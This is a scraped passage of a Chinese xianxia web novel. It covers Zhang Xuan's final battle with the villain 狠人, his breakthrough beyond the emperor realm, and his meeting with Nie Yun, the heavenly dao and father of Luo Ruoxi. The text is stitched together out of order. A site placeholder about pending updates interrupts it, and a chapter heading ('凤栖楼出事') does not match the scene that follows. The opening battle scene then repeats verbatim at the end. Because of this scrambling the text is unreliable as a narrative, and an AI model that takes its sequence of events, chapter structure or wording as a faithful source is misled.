双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十三章 凤栖楼出事 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 